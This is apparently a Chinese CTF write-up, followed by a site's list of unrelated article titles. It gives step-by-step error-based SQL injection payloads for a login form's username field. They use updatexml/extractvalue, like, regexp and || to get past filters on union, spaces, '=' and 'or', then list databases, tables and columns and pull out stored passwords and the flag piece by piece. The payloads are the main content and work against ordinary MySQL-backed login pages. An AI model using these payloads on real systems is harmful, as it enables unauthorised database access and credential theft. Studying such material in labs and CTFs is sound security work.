过滤了union, < ,> = 空格过滤,()没有被过滤 updatexml没有被过滤

那么就不能用布尔类型注入

数据库名

username=admin'or(updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1))%23&password=1

表名(过滤了=,使用like) 可以不知道数据库名,直接报表名

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

得到H4rDsq1的字段

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(H4rDsq1)),0x7e),1))%23&password=1

得到字段名:id,username,password;

获取用户名和密码

username=admin'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=1

只出现了一部分flag

 

使用left()和right()左右进行拼接

username=admin’or(updatexml(1,concat(0x7e,(select(left(password,25))from(H4rDsq1)),0x7e),1))%23&password=1

username=admin’or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))%23&password=1

extractvalue(目标xml文档,xml路径)

updatexml(目标xml文档,xml路径,更新的内容)

它们差不多,只是前面比后面少些内容

参考:https://www.cnblogs.com/peri0d/p/11599643.html

如果or被过滤了,可以用||代替

username=admin"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

经过测试,flag 不在 flag 表中

username=admin"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

发现输出有长度限制

regexp 正则表达式匹配  ^  匹配输入字符开始的位置

更多介绍参考:https://blog.csdn.net/qq_36761831/article/details/82862135

username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(列名))from(users)where(列名)regexp('^f'))),1))#

或者

select substr(group_concat(列名),1,100000) from 表名

select substr(group_concat(列名),10,100000) from 表名

最新文章

  1. asp.net core 简单部署
  2. Gui系统之View体系(2)---View的setContent
  3. Maya Plugin 编译Maya插件
  4. Jupyter Notebook 27绝技——27 Jupyter Notebook tips, tricks and shortcuts
  5. PHP7的安装
  6. 【python】sqlite使用
  7. VBA_Excel_教程:变量,数组
  8. [LeetCode]题解(python):092 Reverse Linked List II
  9. hdu5884 Sort(二分+k叉哈夫曼树)
  10. NetSetMan IP地址切换工具
  11. git stash 保存修改现场
  12. oracle数据库管理系统常见的错误(一)
  13. EF CodeFirst方式 Fluent Api配置
  14. [ExtJS5学习笔记]第三十节 sencha extjs 5表格gridpanel分组汇总
  15. nodejs搭建web项目
  16. 手动创建binary log files和手动编辑binary log index file会有什么影响
  17. 网上常用免费WebServices集合
  18. idea中deBug方法
  19. css rgba透明度变化
  20. Java学习--内置对象(其他的)

热门文章

  1. gin中模型的绑定和验证
  2. Java动态绑定和静态绑定-多态
  3. Servlet中的Filter 过滤器的简单使用!
  4. Spring源码-IOC部分-Bean实例化过程【5】
  5. Sklearn 与 TensorFlow 机器学习实用指南第二版
  6. JVM学习九-(复习)HotSpot 垃圾收集器
  7. art 模式 android runtime
  8. Linux开机显示模式切换
  9. 诗和远方-target
  10. android怎么做表格显示数据